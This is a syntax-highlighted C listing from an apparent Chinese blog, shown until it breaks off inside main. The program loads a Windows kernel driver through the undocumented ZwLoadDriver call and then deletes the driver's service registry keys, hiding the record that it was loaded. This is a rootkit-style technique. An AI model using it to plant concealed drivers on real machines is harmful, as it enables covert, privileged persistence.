<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;windows.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;struct&nbsp;_LSA_UNICODE_STRING&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;Length;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;MaximumLength;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;Buffer;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;LSA_UNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PLSA_UNICODE_STRING;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;LSA_UNICODE_STRING&nbsp;UNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PUNICODE_STRING;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;申明ntdll中使用的函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLANSISTRINGTOUNICODESTRING)(PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">DWORD);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLANSISTRINGTOUNICODESTRING&nbsp;RtlAnsiStringToUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLFREEUNICODESTRING)(PVOID);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLFREEUNICODESTRING&nbsp;RtlFreeUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;ZWLOADDRIVER)(PVOID);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>ZWLOADDRIVER&nbsp;ZwLoadDriver;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;LoadDriver(char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;szDrvName</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;szDrvPath)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">修改注册表启动驱动程序</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;szSubKey[</span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath[</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;LSA_UNICODE_STRING&nbsp;buf1;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;LSA_UNICODE_STRING&nbsp;buf2;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;HKEY&nbsp;hkResult;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;Data[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;dwOK;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;RegCreateKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey</span><span style="COLOR: #000000">,&amp;</span><span style="COLOR: #000000">hkResult);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(dwOK</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">ERROR_SUCCESS)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Type</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)Data</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ErrorControl</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)Data</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Start</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)Data</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;GetFullPathName(szDrvPath</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">);&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Loading&nbsp;driver:&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\??\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvFullPath);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ImagePath</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">iBuffLen);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(hkResult);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;buf2</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Buffer&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(PVOID)szSubKey;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;buf2</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Length&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlAnsiStringToUnicodeString(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">buf1</span><span style="COLOR: #000000">,&amp;</span><span style="COLOR: #000000">buf2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">加载驱动程序</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;dwOK&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;ZwLoadDriver(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">buf1);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlFreeUnicodeString(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">buf1);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\\Enum</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">删除注册表项</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\\Security</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\\\.\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Load&nbsp;driver&nbsp;with&nbsp;ZwLoadDriver(&nbsp;)\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Date:&nbsp;8th&nbsp;May&nbsp;2007\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Modifed&nbsp;by:&nbsp;GaRY&nbsp;&lt;wofeiwo_at_gmail_dot_com&gt;\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(argc&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;%s&nbsp;&lt;DriverFilename&gt;&nbsp;&lt;DriverPath&gt;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;HMODULE&nbsp;hNtdll&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;hNtdll&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;LoadLibrary(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">从ntdll.dll里获取函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">hNtdll&nbsp;)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">LoadLibrary(&nbsp;NTDLL.DLL&nbsp;)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlAnsiStringToUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLANSISTRINGTOUNICODESTRING)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProcAddress(&nbsp;hNtdll</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlAnsiStringToUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlFreeUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLFREEUNICODESTRING)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProcAddress(&nbsp;hNtdll</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlFreeUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ZwLoadDriver&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ZWLOADDRIVER)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProcAddress(&nbsp;hNtdll</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwLoadDriver</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册驱动程序</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: 